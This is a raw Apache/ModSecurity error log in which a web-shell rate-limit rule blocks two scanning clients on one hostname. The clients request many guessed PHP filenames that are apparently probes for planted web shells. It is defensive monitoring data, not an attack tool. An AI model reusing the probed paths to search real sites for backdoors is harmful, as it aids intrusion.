[Wed Apr 15 19:12:57.400885 2026] [:error] [pid 30956:tid 30973] [client 20.215.250.56:49778] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/t.php"] [unique_id "ad9yuUBGUpjaWntNYq1fEwAAAA0"]
[Wed Apr 15 19:12:57.935676 2026] [:error] [pid 37370:tid 37385] [client 51.120.68.159:13488] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/grsiuk.php"] [unique_id "ad9yuXg-gnM2Ga0cGAAA4wAAAQ0"]
[Wed Apr 15 19:12:58.420158 2026] [:error] [pid 37370:tid 37376] [client 20.215.250.56:9342] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/t.php"] [unique_id "ad9yung-gnM2Ga0cGAAA5gAAAQQ"]
[Wed Apr 15 19:12:58.737499 2026] [:error] [pid 31053:tid 31076] [client 51.120.68.159:43789] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gifclass.php"] [unique_id "ad9yuhcEkLCmvF0fjDeo6gAAAJQ"]
[Wed Apr 15 19:12:59.448837 2026] [:error] [pid 31053:tid 31066] [client 51.120.68.159:8520] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gifclass.php"] [unique_id "ad9yuxcEkLCmvF0fjDeo7QAAAIo"]
[Wed Apr 15 19:13:00.010576 2026] [:error] [pid 31053:tid 31061] [client 20.215.250.56:30449] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/t.php"] [unique_id "ad9yvBcEkLCmvF0fjDeo7wAAAIU"]
[Wed Apr 15 19:13:00.021453 2026] [:error] [pid 37370:tid 37380] [client 51.120.68.159:17302] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gifclass.php"] [unique_id "ad9yvHg-gnM2Ga0cGAAA6gAAAQg"]
[Wed Apr 15 19:13:00.551823 2026] [:error] [pid 37370:tid 37392] [client 51.120.68.159:18675] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gifclass.php"] [unique_id "ad9yvHg-gnM2Ga0cGAAA6wAAARQ"]
[Wed Apr 15 19:13:01.123149 2026] [:error] [pid 30956:tid 30984] [client 51.120.68.159:18659] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/a4.php"] [unique_id "ad9yvUBGUpjaWntNYq1fFgAAABg"]
[Wed Apr 15 19:13:01.672455 2026] [:error] [pid 30957:tid 30992] [client 51.120.68.159:19033] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/a4.php"] [unique_id "ad9yvX5gwVEVXHfVSipucwAAAEM"]
[Wed Apr 15 19:13:01.789198 2026] [:error] [pid 30956:tid 30970] [client 20.215.250.56:30433] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lib.php"] [unique_id "ad9yvUBGUpjaWntNYq1fGQAAAAo"]
[Wed Apr 15 19:13:02.338883 2026] [:error] [pid 37370:tid 37376] [client 51.120.68.159:17305] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/a4.php"] [unique_id "ad9yvng-gnM2Ga0cGAAA8gAAAQQ"]
[Wed Apr 15 19:13:03.323943 2026] [:error] [pid 30956:tid 30981] [client 20.215.250.56:4473] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lib.php"] [unique_id "ad9yv0BGUpjaWntNYq1fHAAAABU"]
[Wed Apr 15 19:13:03.367198 2026] [:error] [pid 30957:tid 30999] [client 51.120.68.159:20853] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/a4.php"] [unique_id "ad9yv35gwVEVXHfVSipudAAAAEo"]
[Wed Apr 15 19:13:04.371011 2026] [:error] [pid 37370:tid 37392] [client 51.120.68.159:5502] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/domains.php"] [unique_id "ad9ywHg-gnM2Ga0cGAAA-gAAARQ"]
[Wed Apr 15 19:13:04.396164 2026] [:error] [pid 37370:tid 37390] [client 20.215.250.56:12688] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lib.php"] [unique_id "ad9ywHg-gnM2Ga0cGAAA-wAAARI"]
[Wed Apr 15 19:13:05.559745 2026] [:error] [pid 30958:tid 31036] [client 20.215.250.56:27348] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lib.php"] [unique_id "ad9ywceG3wSKTO7NWFGLKQAAANQ"]
[Wed Apr 15 19:13:05.981441 2026] [:error] [pid 30958:tid 31038] [client 51.120.68.159:39728] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/domains.php"] [unique_id "ad9ywceG3wSKTO7NWFGLLAAAANY"]
[Wed Apr 15 19:13:06.705979 2026] [:error] [pid 30957:tid 30993] [client 51.120.68.159:39687] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/domains.php"] [unique_id "ad9ywn5gwVEVXHfVSipueAAAAEQ"]
[Wed Apr 15 19:13:07.064740 2026] [:error] [pid 30957:tid 31000] [client 20.215.250.56:37539] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/kj.php"] [unique_id "ad9yw35gwVEVXHfVSipuegAAAEs"]
[Wed Apr 15 19:13:07.586633 2026] [:error] [pid 30957:tid 30991] [client 51.120.68.159:5491] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/domains.php"] [unique_id "ad9yw35gwVEVXHfVSipufgAAAEI"]
[Wed Apr 15 19:13:07.955912 2026] [:error] [pid 30956:tid 30970] [client 20.215.250.56:30007] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/kj.php"] [unique_id "ad9yw0BGUpjaWntNYq1fJAAAAAo"]
[Wed Apr 15 19:13:08.556323 2026] [:error] [pid 30956:tid 30979] [client 20.215.250.56:14906] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/kj.php"] [unique_id "ad9yxEBGUpjaWntNYq1fJwAAABM"]
[Wed Apr 15 19:13:08.826799 2026] [:error] [pid 30956:tid 30965] [client 51.120.68.159:21965] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tt.php"] [unique_id "ad9yxEBGUpjaWntNYq1fKQAAAAU"]
[Wed Apr 15 19:13:09.595090 2026] [:error] [pid 30957:tid 30992] [client 20.215.250.56:7701] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/kj.php"] [unique_id "ad9yxX5gwVEVXHfVSipuhQAAAEM"]
[Wed Apr 15 19:13:09.679301 2026] [:error] [pid 30958:tid 31035] [client 51.120.68.159:5471] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tt.php"] [unique_id "ad9yxceG3wSKTO7NWFGLMwAAANM"]
[Wed Apr 15 19:13:10.504971 2026] [:error] [pid 30956:tid 30977] [client 20.215.250.56:4532] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/new.php"] [unique_id "ad9yxkBGUpjaWntNYq1fNQAAABE"]
[Wed Apr 15 19:13:11.039964 2026] [:error] [pid 30956:tid 30976] [client 51.120.68.159:20816] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tt.php"] [unique_id "ad9yx0BGUpjaWntNYq1fOAAAABA"]
[Wed Apr 15 19:13:11.868686 2026] [:error] [pid 31053:tid 31078] [client 51.120.68.159:8544] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tt.php"] [unique_id "ad9yxxcEkLCmvF0fjDeo9AAAAJY"]
[Wed Apr 15 19:13:12.494919 2026] [:error] [pid 37370:tid 37395] [client 51.120.68.159:10393] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/abc.php"] [unique_id "ad9yyHg-gnM2Ga0cGAABBQAAARc"]
[Wed Apr 15 19:13:12.585758 2026] [:error] [pid 37370:tid 37374] [client 20.215.250.56:42728] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/new.php"] [unique_id "ad9yyHg-gnM2Ga0cGAABBgAAAQI"]
[Wed Apr 15 19:13:13.370431 2026] [:error] [pid 37370:tid 37379] [client 51.120.68.159:22756] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/abc.php"] [unique_id "ad9yyXg-gnM2Ga0cGAABDQAAAQc"]
[Wed Apr 15 19:13:14.273742 2026] [proxy_fcgi:error] [pid 37370:tid 37372] [client 51.120.68.159:35749] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:13:14.583554 2026] [proxy_fcgi:error] [pid 37370:tid 37390] [client 51.120.68.159:35749] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:13:14.847589 2026] [proxy_fcgi:error] [pid 37370:tid 37374] [client 51.120.68.159:35749] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:13:15.111673 2026] [proxy_fcgi:error] [pid 37370:tid 37396] [client 51.120.68.159:35749] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:13:15.403001 2026] [proxy_fcgi:error] [pid 37370:tid 37376] [client 51.120.68.159:35749] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:13:15.728990 2026] [proxy_fcgi:error] [pid 37370:tid 37379] [client 51.120.68.159:35749] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:13:15.991595 2026] [proxy_fcgi:error] [pid 37370:tid 37391] [client 51.120.68.159:35749] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:13:16.256546 2026] [proxy_fcgi:error] [pid 37370:tid 37378] [client 51.120.68.159:35749] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:13:16.544285 2026] [proxy_fcgi:error] [pid 37370:tid 37384] [client 51.120.68.159:35749] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:13:16.743935 2026] [:error] [pid 37370:tid 37377] [client 20.215.250.56:40851] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/new.php"] [unique_id "ad9yzHg-gnM2Ga0cGAABIgAAAQU"]
[Wed Apr 15 19:13:16.808465 2026] [proxy_fcgi:error] [pid 37370:tid 37390] [client 51.120.68.159:35749] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:13:17.071083 2026] [proxy_fcgi:error] [pid 37370:tid 37381] [client 51.120.68.159:35749] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:13:17.330204 2026] [:error] [pid 37370:tid 37394] [client 51.120.68.159:35749] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hroxw.php"] [unique_id "ad9yzXg-gnM2Ga0cGAABJQAAARY"]
[Wed Apr 15 19:13:18.209739 2026] [:error] [pid 37370:tid 37396] [client 51.120.68.159:16928] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hroxw.php"] [unique_id "ad9yzng-gnM2Ga0cGAABJgAAARg"]
[Wed Apr 15 19:13:19.103676 2026] [:error] [pid 37370:tid 37393] [client 51.120.68.159:10050] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hroxw.php"] [unique_id "ad9yz3g-gnM2Ga0cGAABKQAAARU"]
[Wed Apr 15 19:13:19.758587 2026] [:error] [pid 31053:tid 31073] [client 51.120.68.159:10092] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hroxw.php"] [unique_id "ad9yzxcEkLCmvF0fjDepCwAAAJE"]
[Wed Apr 15 19:13:19.888323 2026] [:error] [pid 31053:tid 31066] [client 20.215.250.56:4207] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/new.php"] [unique_id "ad9yzxcEkLCmvF0fjDepDAAAAIo"]
[Wed Apr 15 19:13:20.359760 2026] [:error] [pid 37370:tid 37374] [client 51.120.68.159:26412] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ok.php"] [unique_id "ad9y0Hg-gnM2Ga0cGAABMQAAAQI"]
[Wed Apr 15 19:13:21.001568 2026] [:error] [pid 31053:tid 31074] [client 51.120.68.159:39724] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ok.php"] [unique_id "ad9y0RcEkLCmvF0fjDepEAAAAJI"]
[Wed Apr 15 19:13:21.316165 2026] [:error] [pid 37370:tid 37385] [client 20.215.250.56:26986] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/edit.php"] [unique_id "ad9y0Xg-gnM2Ga0cGAABNAAAAQ0"]
[Wed Apr 15 19:13:21.546722 2026] [:error] [pid 31053:tid 31061] [client 51.120.68.159:13466] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ok.php"] [unique_id "ad9y0RcEkLCmvF0fjDepFQAAAIU"]
[Wed Apr 15 19:13:22.232741 2026] [:error] [pid 31053:tid 31059] [client 51.120.68.159:10431] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ok.php"] [unique_id "ad9y0hcEkLCmvF0fjDepGQAAAIM"]
[Wed Apr 15 19:13:22.788477 2026] [:error] [pid 30957:tid 30990] [client 51.120.68.159:5506] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/zoo.php"] [unique_id "ad9y0n5gwVEVXHfVSipujwAAAEE"]
[Wed Apr 15 19:13:23.343476 2026] [:error] [pid 31053:tid 31074] [client 51.120.68.159:22728] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/zoo.php"] [unique_id "ad9y0xcEkLCmvF0fjDepHwAAAJI"]
[Wed Apr 15 19:13:23.531514 2026] [:error] [pid 30956:tid 30980] [client 20.215.250.56:16427] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/edit.php"] [unique_id "ad9y00BGUpjaWntNYq1faAAAABQ"]
[Wed Apr 15 19:13:23.894911 2026] [:error] [pid 30958:tid 31018] [client 51.120.68.159:5477] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/zoo.php"] [unique_id "ad9y08eG3wSKTO7NWFGLQgAAAMI"]
[Wed Apr 15 19:13:24.507875 2026] [:error] [pid 30956:tid 30979] [client 51.120.68.159:26392] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/zoo.php"] [unique_id "ad9y1EBGUpjaWntNYq1fbgAAABM"]
[Wed Apr 15 19:13:24.713736 2026] [:error] [pid 31053:tid 31071] [client 20.215.250.56:23982] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/edit.php"] [unique_id "ad9y1BcEkLCmvF0fjDepJgAAAI8"]
[Wed Apr 15 19:13:25.145431 2026] [:error] [pid 30957:tid 31003] [client 51.120.68.159:18646] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gaza.php"] [unique_id "ad9y1X5gwVEVXHfVSipulwAAAE4"]
[Wed Apr 15 19:13:25.619559 2026] [:error] [pid 37370:tid 37387] [client 20.215.250.56:23628] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/edit.php"] [unique_id "ad9y1Xg-gnM2Ga0cGAABOwAAAQ8"]
[Wed Apr 15 19:13:25.719777 2026] [:error] [pid 37370:tid 37383] [client 51.120.68.159:42865] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gaza.php"] [unique_id "ad9y1Xg-gnM2Ga0cGAABPQAAAQs"]
[Wed Apr 15 19:13:26.301844 2026] [:error] [pid 30956:tid 30973] [client 51.120.68.159:13503] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gaza.php"] [unique_id "ad9y1kBGUpjaWntNYq1fdgAAAA0"]
